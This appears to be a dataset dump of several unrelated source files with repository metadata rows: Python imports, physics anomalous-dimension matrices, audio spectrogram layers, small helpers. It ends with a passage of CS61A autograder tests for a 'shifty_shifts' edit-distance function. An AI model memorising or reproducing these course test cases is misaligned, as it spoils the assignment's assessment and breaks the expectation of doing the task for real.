zheyu-wang-tony/datahub
40bcf2e225f74c914afee6843ace11a8dea20bf9
[ "Apache-2.0" ]
null
null
null
datahub_core/libs/data_access/__init__.py
zheyu-wang-tony/datahub
40bcf2e225f74c914afee6843ace11a8dea20bf9
[ "Apache-2.0" ]
null
null
null
datahub_core/libs/data_access/__init__.py
zheyu-wang-tony/datahub
40bcf2e225f74c914afee6843ace11a8dea20bf9
[ "Apache-2.0" ]
null
null
null
""" __init__.py """ from .sic_raw_daa_access import SicRawDataAccess from .country_data_access import CountryDataAccess
30
50
0.833333
15
120
6.066667
0.8
0.263736
0
0
0
0
0
0
0
0
0
0
0.091667
120
3
51
40
0.834862
0.091667
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
98b77719aa6b27b308936a0f55e5ccdca0a2cbf0
30
py
Python
.idea/VirtualEnvironment/Lib/site-packages/tests/outcomes/imports/test_import_relative_error_2/main.py
Vladpetr/NewsPortal
cd4127fbc09d9c8f5e65c8ae699856c6d380a320
[ "Apache-2.0" ]
null
null
null
.idea/VirtualEnvironment/Lib/site-packages/tests/outcomes/imports/test_import_relative_error_2/main.py
Vladpetr/NewsPortal
cd4127fbc09d9c8f5e65c8ae699856c6d380a320
[ "Apache-2.0" ]
5
2021-04-08T22:02:15.000Z
2022-02-10T14:53:45.000Z
.idea/VirtualEnvironment/Lib/site-packages/tests/outcomes/imports/test_import_relative_error_2/main.py
Vladpetr/NewsPortal
cd4127fbc09d9c8f5e65c8ae699856c6d380a320
[ "Apache-2.0" ]
null
null
null
from .main2 import y print(x)
10
20
0.733333
6
30
3.666667
1
0
0
0
0
0
0
0
0
0
0
0.04
0.166667
30
2
21
15
0.84
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0.5
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
1
0
6
7f51c8fc5bc14d08ae938d5e0d5505b280ff4aac
13,608
py
Python
wetrunner/adm.py
DavidMStraub/python-wetrunner
be9549535aab3a00e496002a515c647d112ea090
[ "MIT" ]
null
null
null
wetrunner/adm.py
DavidMStraub/python-wetrunner
be9549535aab3a00e496002a515c647d112ea090
[ "MIT" ]
4
2018-01-11T10:29:16.000Z
2018-04-12T15:36:20.000Z
wetrunner/adm.py
DavidMStraub/python-wetrunner
be9549535aab3a00e496002a515c647d112ea090
[ "MIT" ]
2
2018-01-11T10:20:55.000Z
2018-03-07T22:13:34.000Z
r"""Anomalous dimension matrices. The RGE have the form $$\frac{d \vec{C}}{d\ln\mu} = \gamma^T \vec{C}$$ with $$\gamma = \frac{\alpha_s}{4\pi} \gamma^{1,0} + \frac{\alpha_s}{4\pi} \gamma^{0,1}$$ The functions `adm_s_X` return $\gamma^{1,0}$. The functions `adm_e_X` return $\gamma^{0,1}$. """ import numpy as np def adm_s_I(*args, **kwargs): return np.array([[4, 0, 0, 0, 0, 0, 0, 0], [0, -28/3, 4/3, 0, 0, 0, 0, 0], [0, 16/3, 32/3, 0, 0, 0, 0, 0], [0, 0, 0, -16, 0, 0, 0, 0], [0, 0, 0, -6, 2, 0, 0, 0], [0, 0, 0, 0, 0, 4, 0, 0], [0, 0, 0, 0, 0, 0, -28/3, 4/3], [0, 0, 0, 0, 0, 0, 16/3, 32/3]]) def adm_e_I(*args, **kwargs): return np.array([[12, 0, 0, 0, 0, 0, 0, 0], [0, -4, 16, 0, 0, 0, 0, 0], [0, 16, -4, 0, 0, 0, 0, 0], [0, 0, 0, -12, 0, 0, 0, 0], [0, 0, 0, 0, -12, 0, 0, 0], [0, 0, 0, 0, 0, 12, 0, 0], [0, 0, 0, 0, 0, 0, -4, 16], [0, 0, 0, 0, 0, 0, 16, -4]]) / 9 def adm_s_II(*args, **kwargs): return np.array([[0, 0, 0, 0, 0], [0, -8, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, -8, 0], [0, 0, 0, 0, 8/3]]) def adm_e_II(*args, **kwargs): return np.array([[-4, 0, 0, 0, 0], [0, 4/3, 0, 0, 0], [0, 0, -2, 0, 0], [0, 0, 0, 4/3, 1/6], [0, 0, 0, 8, -40/9]]) def adm_s_III(*args, **kwargs): return np.array([[0, -20, 0, 2, 0, 0, 0, 0, 0, 0], [-(40/9), -(52/3), 4/9, 5/6, 0, 0, 0, 0, 0, 0], [0, -128, 0, 20, 0, 0, 0, 0, 0, 0], [-(256/9), -(160/3), 40/9, -(2/3), 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, -16, 0, 0, -2, 0, 0], [0, 0, 0, 0, 0, 2, -(4/9), -(5/6), 0, 0], [0, 0, 0, 0, 0, 32, 16/3, -32, 0, -2], [0, 0, 0, 0, 64/9, 40/ 3, -(64/9), -26, -(4/9), -(5/6)], [0, 0, 0, 0, 0, -512, -(1024/3), 384, -16, 32], [0, 0, 0, 0, -(1024/9), -(640/3), 256/3, 1184/3, 64/ 9, 46/3]]) def adm_e_III(*args, **kwargs): return np.array([[40/9, 0, -(4/9), 0, 0, 0, 0, 0, 0, 0], [0, 40/9, 0, -(4/9), 0, 0, 0, 0, 0, 0], [256/9, 0, -(40/9), 0, 0, 0, 0, 0, 0, 0], [0, 256/9, 0, -(40/9), 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, -(10/3), 0, 4/9, 0, 0, 0], [0, 0, 0, 0, 0, -(10/3), 0, 4/9, 0, 0], [0, 0, 0, 0, -(64/9), 0, 74/9, 0, 4/9, 0], [0, 0, 0, 0, 0, -(64/9), 0, 74/9, 0, 4/9], [0, 0, 0, 0, 1024/9, 0, -(1408/9), 0, -(94/9), 0], [0, 0, 0, 0, 0, 1024/9, 0, -(1408/9), 0, -(94/9)]]) def adm_s_IV(f, m_u, m_d, m_s, m_c, m_b, m_e, m_mu, m_tau): return np.array([[4/3, 1/6, 16, -4, -1/4], [-32/3, 14/3, 64, -16, -1], [0, 0, -18, 11/6, 1/8], [0, 0, -40/3, 74/3, 5/6], [0, 0, 256/3, -1600/3, -64/3]]) def adm_e_IV(f, m_u, m_d, m_s, m_c, m_b, m_e, m_mu, m_tau): return np.array([[-20/9, 2/9, 0, 0, 0], [-128/9, 20/9, 0, 0, 0], [0, 0, -4/3, -2/9, 0], [0, 0, 32/9, -28/9, -2/9], [0, 0, -512/9, 128/9, 20/9]]) def adm_s_Vsb(f, m_u, m_d, m_s, m_c, m_b, m_e, m_mu, m_tau): xu = m_u / m_b xc = m_c / m_b xd = m_d / m_b xs = m_s / m_b xe = m_e / m_b xmu = m_mu / m_b xtau = m_tau / m_b Aud = np.array([[0, -20, 0, 2], [-(40/9), -16, 4/9, 5/6], [0, -128, 0, 20], [-(256/9), -40, 40/9, -(2/3)]]) Bud = np.array([[-16, 0, 0, -2, 0, 0], [0, 2, -(4/9), -(5/6), 0, 0], [0, 32, 16/3, -32, 0, -2], [64/9, 40/ 3, -(64/9), -26, -(4/9), -(5/6)], [0, -512, -(1024/3), 384, -16, 32], [-(1024/9), -(640/3), 256/3, 1184/3, 64/9, 46/3]]) Cmat = np.array([[8/9, 2/9, 128/9, -(32/9), -(2/9)], [-(160/9), 50/9, 320/ 9, -(80/9), -(5/9)], [2/9, -(1/36), -(154/9), 29/18, 1/9], [0, 0, -(40/3), 74/3, 5/6], [32/9, -(4/9), 896/ 9, -(4832/9), -(194/9)]]) Dmat = np.array([[-(4/9), 1/18, -(16/9), 4/9, 1/36], [-(64/9), 8/9, -(256/9), 64/9, 4/9], [2/9, -(1/36), 8/9, -(2/9), -(1/72)], [0, 0, 0, 0, 0], [32/9, -(4/9), 128/9, -(32/9), -(2/9)]]) Emat = np.array([[-(14/3) - 20/3 + 4/3 * f, 0], [-(32/9), -6 - 20/3 + 4/3 * f]]) Fmat = np.array([[0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, -8, 0, 0], [0, 0, 0, 8/3, 0], [0, 0, 0, -(512/3), -8]]) Iud = np.array([[0, 4/3, 0, 0], [0, 64/3, 0, 0], [0, -(2/3), 0, 0], [0, 0, 0, 0], [0, -(32/3), 0, 0]]) Hud = np.array([[0, 0, 0, 0, 0], [-(4/9), 1/18, -(16/9), 4/9, 1/36], [0, 0, 0, 0, 0], [-(40/9), 5/9, -(160/9), 40/9, 5/18]]) Zud = np.array([[0, 0, 0, 0], [0, 4/3, 0, 0], [0, 0, 0, 0], [0, 40/3, 0, 0]]) Kmatu = np.array([[0, 0], [0, 0], [-16 * xu, 0], [0, -4 * xu], [256 * xu, 0], [0, 64 * xu]]) Kmatc = np.array([[0, 0], [0, 0], [-16 * xc, 0], [0, -4 * xc], [256 * xc, 0], [0, 64 * xc]]) Kmatd = np.array([[0, 0], [0, 0], [8 * xd, 0], [0, -4 * xd], [-128 * xd, 0], [0, 64 * xd]]) Jmats = np.array([[0, 0], [0, 0], [-(1/3) * xs, xs], [28/3 * xs, -4 * xs], [-(512/3) * xs, 128 * xs]]) Jmat = np.array([[0, 0], [0, 0], [-(1/3), 1], [28/3, -4], [-(512/3), 128]]) Mmate = np.array([[0, 0], [0, 0], [0, 0], [8 * xe, 0], [-128 * xe, 0]]) Mmatmu = np.array([[0, 0], [0, 0], [0, 0], [8 * xmu, 0], [-128 * xmu, 0]]) Mmattau = np.array([[0, 0], [0, 0], [0, 0], [8 * xtau, 0], [-128 * xtau, 0]]) G = np.zeros((57, 57)) G[0:4, 0:4] = G[10:14, 10:14] = G[20:24, 20:24] = Aud G[4:10, 4:10] = G[14:20, 14:20] = G[24:30, 24:30] = Bud G[30:35, 30:35] = G[35:40, 35:40] = Cmat G[30:35, 35:40] = G[35:40, 30:35] = Dmat G[40:42, 40:42] = Emat G[42:47, 42:47] = G[47:52, 47:52] = G[52:57, 52:57] = Fmat G[30:35, 0:4] = G[30:35, 10:14] = G[30:35, 20:24] = G[35:40, 0:4] = G[35:40, 10:14] = G[35:40, 20:24] = Iud G[0:4, 30:35] = G[0:4, 35:40] = G[10:14, 30:35] = G[10:14, 35:40] = G[20:24, 30:35] = G[20:24, 35:40] = Hud G[10:14, 0:4] = G[20:24, 0:4] = G[20:24, 10:14] = G[0:4, 10:14] = G[0:4, 20:24] = G[10:14, 20:24] = Zud G[4:10, 40:42] = Kmatu G[14:20, 40:42] = Kmatd G[24:30, 40:42] = Kmatc G[30:35, 40:42] = Jmats G[35:40, 40:42] = Jmat G[42:47, 40:42] = Mmate G[47:52, 40:42] = Mmatmu G[52:57, 40:42] = Mmattau return G def adm_e_Vsb(f, m_u, m_d, m_s, m_c, m_b, m_e, m_mu, m_tau): Au = np.array([[8, 0, -(4/9), 0], [0, 40/9, 0, -(4/9)], [64, 0, -(40/9), 0], [0, 256/9, 0, -(40/9)]]) Ad = np.array([[-(4/3), 0, 2/9, 0], [0, -(20/9), 0, 2/9], [-(16/3), 0, 20/9, 0], [0, -(128/9), 0, 20/9]]) Bu = np.array([[-(10/3), 0, 4/9, 0, 0, 0], [0, -(10/3), 0, 4/9, 0, 0], [-(64/9), 0, 74/9, 0, 4/9, 0], [0, -(64/9), 0, 74/9, 0, 4/ 9], [1024/9, 0, -(1408/9), 0, -(94/9), 0], [0, 1024/9, 0, -(1408/9), 0, -(94/9)]]) Bd = np.array([[-(4/3), 0, -(2/9), 0, 0, 0], [0, -(4/3), 0, -(2/9), 0, 0], [32/9, 0, -(28/9), 0, -(2/9), 0], [0, 32/9, 0, -(28/9), 0, -(2/9)], [-(512/9), 0, 128/9, 0, 20/9, 0], [0, -(512/9), 0, 128/9, 0, 20/9]]) Cmat = np.array([[-(32/27), 2/9, 0, 0, 0], [-(80/27), 20/9, 0, 0, 0], [-(2/27), 0, -(4/3), -(2/9), 0], [0, 0, 32/ 9, -(28/9), -(2/9)], [-(32/27), 0, -(512/9), 128/9, 20/9]]) Emat = np.array([[16/9, -8/3], [0, 8/9]]) Fmat = np.array([[-4, 2/3, 0, 0, 0], [-16, 20/3, 0, 0, 0], [0, 0, -(20/3), -(2/3), 0], [0, 0, 32/3, -(76/9), -(2/3)], [0, 0, -(512/3), -(128/9), 4]]) Gmat = np.array([[8/3, 0, 0, 0, 0], [80/3, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0]]) Iu = np.array([[-(56/27), 0, 0, 0], [-(608/27), 0, 0, 0], [4/27, 0, 0, 0], [0, 0, 0, 0], [64/27, 0, 0, 0]]) Id = np.array([[28/27, 0, 0, 0], [304/27, 0, 0, 0], [-(2/27), 0, 0, 0], [0, 0, 0, 0], [-(32/27), 0, 0, 0]]) Hu = np.array([[-(16/9), 0, 0, 0, 0], [0, 0, 0, 0, 0], [-(160/9), 0, 0, 0, 0], [0, 0, 0, 0, 0]]) Hd = np.array([[8/9, 0, 0, 0, 0], [0, 0, 0, 0, 0], [80/9, 0, 0, 0, 0], [0, 0, 0, 0, 0]]) Zu = np.array([[32/9, 0, 0, 0], [0, 0, 0, 0], [320/9, 0, 0, 0], [0, 0, 0, 0]]) Zd = np.array([[-(16/9), 0, 0, 0], [0, 0, 0, 0], [-(160/9), 0, 0, 0], [0, 0, 0, 0]]) Dmat = np.array([[28/27, 0, 0, 0, 0], [304/27, 0, 0, 0, 0], [-(2/27), 0, 0, 0, 0], [0, 0, 0, 0, 0], [-(32/27), 0, 0, 0, 0]]) Lu = np.array([[-(16/9), 0, 0, 0], [-(160/9), 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]) Ld = np.array([[8/9, 0, 0, 0], [80/9, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]) matQ = np.array([[8/9, 0, 0, 0, 0], [80/9, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0]]) Nd = np.array([[8/3, 0, 0, 0, 0], [0, 0, 0, 0, 0], [80/3, 0, 0, 0, 0], [0, 0, 0, 0, 0]]) Nu = np.array([[-(16/3), 0, 0, 0, 0], [0, 0, 0, 0, 0], [-(160/3), 0, 0, 0, 0], [0, 0, 0, 0, 0]]) Pmat = np.array([[28/9, 0, 0, 0, 0], [304/9, 0, 0, 0, 0], [-(2/9), 0, 0, 0, 0], [0, 0, 0, 0, 0], [-(32/9), 0, 0, 0, 0]]) G = np.zeros((57, 57)) G[0:4, 0:4] = G[20:24, 20:24] = Au G[10:14, 10:14] = Ad G[4:10, 4:10] = G[24:30, 24:30] = Bu G[14:20, 14:20] = Bd G[30:35, 30:35] = G[35:40, 35:40] = Cmat G[40:42, 40:42] = Emat G[42:47, 42:47] = G[47:52, 47:52] = G[52:57, 52:57] = Fmat G[42:47, 47:52] = G[42:47, 52:57] = G[52:57, 47:52] = G[52:57, 42:47] = G[47:52, 42:47] = G[47:52, 52:57] = Gmat G[30:35, 0:4] = G[30:35, 20:24] = G[35:40, 0:4] = G[35:40, 20:24] = Iu G[30:35, 10:14] = G[35:40, 10:14] = Id G[0:4, 30:35] = G[0:4, 35:40] = G[20:24, 30:35] = G[20:24, 35:40] = Hu G[10:14, 30:35] = G[10:14, 35:40] = Hd G[0:4, 10:14] = G[10:14, 20:24] = G[10:14, 0:4] = G[20:24, 10:14] = Zd G[20:24, 0:4] = G[0:4, 20:24] = Zu G[30:35, 35:40] = G[35:40, 30:35] = Dmat G[42:47, 0:4] = G[47:52, 0:4] = G[52:57, 0:4] = G[42:47, 20:24] = G[47:52, 20:24] = G[52:57, 20:24] = Lu G[42:47, 10:14] = G[47:52, 10:14] = G[52:57, 10:14] = Ld G[42:47, 30:35] = G[42:47, 35:40] = G[47:52, 30:35] = G[47:52, 35:40] = G[52:57, 30:35] = G[52:57, 35:40] = matQ G[10:14, 42:47] = G[10:14, 47:52] = G[10:14, 52:57] = Nd G[0:4, 42:47] = G[0:4, 47:52] = G[0:4, 52:57] = G[20:24, 42:47] = G[20:24, 47:52] = G[20:24, 52:57] = Nu G[30:35, 42:47] = G[30:35, 47:52] = G[30:35, 52:57] = G[35:40, 42:47] = G[35:40, 47:52] = G[35:40, 52:57] = Pmat return G def adm_s_Vdb(f, m_u, m_d, m_s, m_c, m_b, m_e, m_mu, m_tau): # s->d, d->s return adm_s_Vsb(f, m_u=m_u, m_d=m_s, m_s=m_d, m_c=m_c, m_b=m_b, m_e=m_e, m_mu=m_mu, m_tau=m_tau) def adm_e_Vdb(f, m_u, m_d, m_s, m_c, m_b, m_e, m_mu, m_tau): # s->d, d->s return adm_e_Vsb(f, m_u=m_u, m_d=m_s, m_s=m_d, m_c=m_c, m_b=m_b, m_e=m_e, m_mu=m_mu, m_tau=m_tau) def adm_s_Vds(f, m_u, m_d, m_s, m_c, m_b, m_e, m_mu, m_tau): # b->s, s->d, d->b return adm_s_Vsb(f, m_u=m_u, m_d=m_b, m_s=m_d, m_c=m_c, m_b=m_s, m_e=m_e, m_mu=m_mu, m_tau=m_tau) def adm_e_Vds(f, m_u, m_d, m_s, m_c, m_b, m_e, m_mu, m_tau): # b->s, s->d, d->b return adm_e_Vsb(f, m_u=m_u, m_d=m_b, m_s=m_d, m_c=m_c, m_b=m_s, m_e=m_e, m_mu=m_mu, m_tau=m_tau) def adm_s_Vb(*args, **kwargs): return np.array([[0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, -8, 0, 0], [0, 0, 0, 8/3, 0], [0, 0, 0, -(512/3), -8]]) def adm_e_Vb(*args, **kwargs): return np.array([[-20/3, 2/3, 0, 0, 0], [-128/3, 20/3, 0, 0, 0], [0, 0, -20/3, -2/3, 0], [0, 0, 32/3, -76/9, -2/3], [0, 0, -512/3, -128/9, 4]])
38.88
116
0.336273
2,746
13,608
1.597961
0.052804
0.276664
0.31928
0.322698
0.691659
0.638788
0.579763
0.526892
0.470374
0.443938
0
0.324768
0.390873
13,608
349
117
38.991404
0.204609
0.025426
0
0.20598
0
0
0
0
0
0
0
0
0
1
0.053156
false
0
0.003322
0.046512
0.109635
0
0
0
1
null
1
1
1
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
7f719f3b0816bf94827a65162e9e9791fc85059f
198
py
Python
cassiopeia/dto/match.py
artemigkh/cassiopeia
fa78cb8f86ea21857916a707d04de6a05498033e
[ "MIT" ]
437
2016-02-15T17:33:40.000Z
2022-03-30T21:25:41.000Z
cassiopeia/dto/match.py
artemigkh/cassiopeia
fa78cb8f86ea21857916a707d04de6a05498033e
[ "MIT" ]
296
2016-02-13T00:04:15.000Z
2022-03-24T18:56:36.000Z
cassiopeia/dto/match.py
artemigkh/cassiopeia
fa78cb8f86ea21857916a707d04de6a05498033e
[ "MIT" ]
174
2016-02-21T16:34:30.000Z
2022-03-21T20:46:50.000Z
from .common import DtoObject class MatchReferenceDto(DtoObject): pass class MatchListDto(DtoObject): pass class MatchDto(DtoObject): pass class TimelineDto(DtoObject): pass
11
35
0.732323
20
198
7.25
0.5
0.358621
0.372414
0
0
0
0
0
0
0
0
0
0.20202
198
17
36
11.647059
0.917722
0
0
0.444444
0
0
0
0
0
0
0
0
0
1
0
true
0.444444
0.111111
0
0.555556
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
1
0
0
6
7f88edd2aa2258d8f767a1a7e813d5af3a704365
246
py
Python
generate/format.py
gujor/swift-key-codes
a65c29fc645eed2c3997d3bd9239c77290955fe2
[ "MIT" ]
2
2022-02-02T16:03:57.000Z
2022-02-02T18:43:11.000Z
generate/format.py
gujor/swift-key-codes
a65c29fc645eed2c3997d3bd9239c77290955fe2
[ "MIT" ]
null
null
null
generate/format.py
gujor/swift-key-codes
a65c29fc645eed2c3997d3bd9239c77290955fe2
[ "MIT" ]
null
null
null
def format_hex_unsigned(int, byte_count): assert int >= 0, "Number must be greater than or equal to zero." assert int >> byte_count * 8 == 0, "Number must be less than 2^byte_count" return "{0:#0{1}x}".format(int, byte_count * 2 + 2)
49.2
78
0.666667
44
246
3.590909
0.545455
0.227848
0.227848
0.164557
0
0
0
0
0
0
0
0.045685
0.199187
246
4
79
61.5
0.756345
0
0
0
0
0
0.373984
0
0
0
0
0
0.5
1
0.25
false
0
0
0
0.5
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
1
0
0
0
0
0
0
0
6
f6b6a1762f26a00abe0888465ddbdf30b6a50783
7,659
py
Python
kapre/composed.py
DN360/kapre
8cdbb1637b140c01f431831e7b2c2a63afc96209
[ "MIT" ]
null
null
null
kapre/composed.py
DN360/kapre
8cdbb1637b140c01f431831e7b2c2a63afc96209
[ "MIT" ]
null
null
null
kapre/composed.py
DN360/kapre
8cdbb1637b140c01f431831e7b2c2a63afc96209
[ "MIT" ]
null
null
null
from .time_frequency import STFT, Magnitude, Phase, MagnitudeToDecibel, ApplyFilterbank from . import backend from tensorflow.keras import Sequential def get_melspectrogram_layer( input_shape=None, n_fft=2048, win_length=None, hop_length=None, window_fn=None, pad_end=False, sample_rate=22050, n_mels=128, mel_f_min=0.0, mel_f_max=None, mel_htk=False, mel_norm='slaney', return_decibel=False, db_amin=1e-5, db_ref_value=1.0, db_dynamic_range=80.0, input_data_format='default', output_data_format='default', ): """A function that retunrs a melspectrogram layer, which is a Sequential model consists of `STFT`, `Magnitude`, `ApplyFilterbank(_mel_filterbank)`, and optionally `MagnitudeToDecibel`. Args: input_shape (None or tuple of integers): input shape of the model if this melspectrogram layer is is the first layer of your model (see `keras.model.Sequential()` for more details) n_fft (int): number of FFT points in `STFT` win_length (int): window length of `STFT` hop_length (int): hop length of `STFT` window_fn (function or None): windowing function of `STFT`. Defaults to `None`, which would follow tf.signal.stft default (hann window at the moment) pad_end (bool): whether to pad the input signal at the end in `STFT`. sample_rate (int): sample rate of the input audio n_mels (int): number of mel bins in the mel filterbank mel_f_min (float): lowest frequency of the mel filterbank mel_f_max (float): highest frequency of the mel filterbank mel_htk (bool): whether to follow the htk mel filterbank fomula or not mel_norm ('slaney' or int): normalization policy of the mel filterbank triangles return_decibel (bool): whether to apply decibel scaling at the end db_amin (float): noise floor of decibel scaling input. See `MagnitudeToDecibel` for more details. db_ref_value (float): reference value of decibel scaling. See `MagnitudeToDecibel` for more details. db_dynamic_range (float): dynamic range of the decibel scaling result. input_data_format (str): the audio data format of input waveform batch. `'channels_last'` if it's `(batch, time, channels)` `'channels_first'` if it's `(batch, channels, time)` Defaults to the setting of your Keras configuration. (tf.keras.backend.image_data_format()) output_data_format (str): the data format of output mel spectrogram. `'channels_last'` if you want `(batch, time, frequency, channels)` `'channels_first'` if you want `(batch, channels, time, frequency)` Defaults to the setting of your Keras configuration. (tf.keras.backend.image_data_format()) """ waveform_to_stft = STFT( n_fft=n_fft, win_length=win_length, hop_length=hop_length, window_fn=window_fn, pad_end=pad_end, input_data_format=input_data_format, output_data_format=output_data_format, input_shape=input_shape, ) stft_to_stftm = Magnitude() kwargs = { 'sample_rate': sample_rate, 'n_freq': n_fft // 2 + 1, 'n_mels': n_mels, 'f_min': mel_f_min, 'f_max': mel_f_max, 'htk': mel_htk, 'norm': mel_norm, } stftm_to_melgram = ApplyFilterbank( type='mel', filterbank_kwargs=kwargs, data_format=output_data_format ) layers = [waveform_to_stft, stft_to_stftm, stftm_to_melgram] if return_decibel: mag_to_decibel = MagnitudeToDecibel( ref_value=db_ref_value, amin=db_amin, dynamic_range=db_dynamic_range ) layers.append(mag_to_decibel) return Sequential(layers) def get_log_frequency_spectrogram_layer( input_shape=None, n_fft=2048, win_length=None, hop_length=None, window_fn=None, pad_end=False, sample_rate=22050, log_n_bins=84, log_f_min=None, log_bins_per_octave=12, log_spread=0.125, return_decibel=False, db_amin=1e-5, db_ref_value=1.0, db_dynamic_range=80.0, input_data_format='default', output_data_format='default', ): """A function that retunrs a log-frequency STFT layer, which is a Sequential model consists of `STFT`, `Magnitude`, `ApplyFilterbank(_log_filterbank)`, and optionally `MagnitudeToDecibel`. Args: input_shape (None or tuple of integers): input shape of the model if this melspectrogram layer is is the first layer of your model (see `keras.model.Sequential()` for more details) n_fft (int): number of FFT points in `STFT` win_length (int): window length of `STFT` hop_length (int): hop length of `STFT` window_fn (function or None): windowing function of `STFT`. Defaults to `None`, which would follow tf.signal.stft default (hann window at the moment) pad_end (bool): whether to pad the input signal at the end in `STFT`. sample_rate (int): sample rate of the input audio log_n_bins (int): number of the bins in the log-frequency filterbank log_f_min (float): lowest frequency of the filterbank log_bins_per_octave (int): number of bins in each octave in the filterbank log_spread (float): spread constant (Q value) in the log filterbank. return_decibel (bool): whether to apply decibel scaling at the end db_amin (float): noise floor of decibel scaling input. See `MagnitudeToDecibel` for more details. db_ref_value (float): reference value of decibel scaling. See `MagnitudeToDecibel` for more details. db_dynamic_range (float): dynamic range of the decibel scaling result. input_data_format (str): the audio data format of input waveform batch. `'channels_last'` if it's `(batch, time, channels)` `'channels_first'` if it's `(batch, channels, time)` Defaults to the setting of your Keras configuration. (tf.keras.backend.image_data_format()) output_data_format (str): the data format of output mel spectrogram. `'channels_last'` if you want `(batch, time, frequency, channels)` `'channels_first'` if you want `(batch, channels, time, frequency)` Defaults to the setting of your Keras configuration. (tf.keras.backend.image_data_format()) """ waveform_to_stft = STFT( n_fft=n_fft, win_length=win_length, hop_length=hop_length, window_fn=window_fn, pad_end=pad_end, input_data_format=input_data_format, output_data_format=output_data_format, input_shape=input_shape, ) stft_to_stftm = Magnitude() _log_filterbank = backend.filterbank_log( sample_rate=sample_rate, n_freq=n_fft // 2 + 1, n_bins=log_n_bins, bins_per_octave=log_bins_per_octave, f_min=log_f_min, spread=log_spread, ) kwargs = { 'sample_rate': sample_rate, 'n_freq': n_fft // 2 + 1, 'n_bins': log_n_bins, 'bins_per_octave': log_bins_per_octave, 'f_min': log_f_min, 'spread': log_spread, } stftm_to_loggram = ApplyFilterbank( type='log', filterbank_kwargs=kwargs, data_format=output_data_format ) layers = [waveform_to_stft, stft_to_stftm, stftm_to_loggram] if return_decibel: mag_to_decibel = MagnitudeToDecibel( ref_value=db_ref_value, amin=db_amin, dynamic_range=db_dynamic_range ) layers.append(mag_to_decibel) return Sequential(layers)
40.739362
108
0.676459
1,066
7,659
4.606942
0.140713
0.057015
0.03258
0.03258
0.833639
0.829566
0.8202
0.808389
0.808389
0.808389
0
0.008764
0.24024
7,659
187
109
40.957219
0.835195
0.547852
0
0.587156
0
0
0.040062
0
0
0
0
0
0
1
0.018349
false
0
0.027523
0
0.06422
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
f6bd016046d9defa519bf9195fba06bd7aa49810
21,788
py
Python
projects/cats/tests/06.py
jjllzhang/CS61A
57b68c7c06999210d96499f6d84e4ec99085d396
[ "MIT" ]
3
2022-01-21T15:52:32.000Z
2022-03-06T11:02:34.000Z
projects/cats/tests/06.py
jjllzhang/CS61A
57b68c7c06999210d96499f6d84e4ec99085d396
[ "MIT" ]
null
null
null
projects/cats/tests/06.py
jjllzhang/CS61A
57b68c7c06999210d96499f6d84e4ec99085d396
[ "MIT" ]
1
2022-02-13T08:28:27.000Z
2022-02-13T08:28:27.000Z
test = { 'name': 'Problem 6', 'points': 2, 'suites': [ { 'cases': [ { 'code': r""" >>> big_limit = 10 >>> shifty_shifts("car", "cad", big_limit) 1 >>> shifty_shifts("this", "that", big_limit) 2 >>> shifty_shifts("one", "two", big_limit) 3 >>> shifty_shifts("from", "form", big_limit) 2 >>> shifty_shifts("awe", "awesome", big_limit) 4 >>> shifty_shifts("someawe", "awesome", big_limit) 6 >>> shifty_shifts("awful", "awesome", big_limit) 5 >>> shifty_shifts("awful", "awesome", 3) > 3 True >>> shifty_shifts("awful", "awesome", 4) > 4 True >>> shifty_shifts("awful", "awesome", 5) > 5 False """, 'hidden': False, 'locked': False }, { 'code': r""" >>> big_limit = 10 >>> shifty_shifts("goodbye", "good", big_limit) 3 >>> shifty_shifts("pront", "print", big_limit) 1 >>> shifty_shifts("misspollid", "misspelled", big_limit) 2 >>> shifty_shifts("worry", "word", big_limit) 2 >>> shifty_shifts("first", "flashy", big_limit) 4 >>> shifty_shifts("hash", "ash", big_limit) 4 >>> shifty_shifts("ash", "hash", big_limit) 4 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> small_words_list = ["spell", "nest", "test", "pest", "best", "bird", "wired", ... "abstraction", "abstract", "peeling", "gestate", "west", ... "spelling", "bastion"] >>> autocorrect("speling", small_words_list, shifty_shifts, 10) 'peeling' >>> autocorrect("abstrction", small_words_list, shifty_shifts, 10) 'abstract' >>> autocorrect("wird", small_words_list, shifty_shifts, 10) 'bird' >>> autocorrect("gest", small_words_list, shifty_shifts, 10) 'nest' >>> # ban iteration >>> test.check('cats.py', 'shifty_shifts', ['While', 'For']) True """, 'hidden': False, 'locked': False }, { 'code': r""" >>> # ***Check that the recursion stops when the limit is reached*** >>> import trace, io >>> from contextlib import redirect_stdout >>> with io.StringIO() as buf, redirect_stdout(buf): ... trace.Trace(trace=True).runfunc(shifty_shifts, "someaweqwertyuio", "awesomeasdfghjkl", 3) ... output = buf.getvalue() >>> len([line for line in output.split('\n') if 'funcname' in line]) < 10 True """, 'hidden': False, 'locked': False }, { 'code': r""" >>> shifty_shifts('thong', 'thong', 100) 0 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> 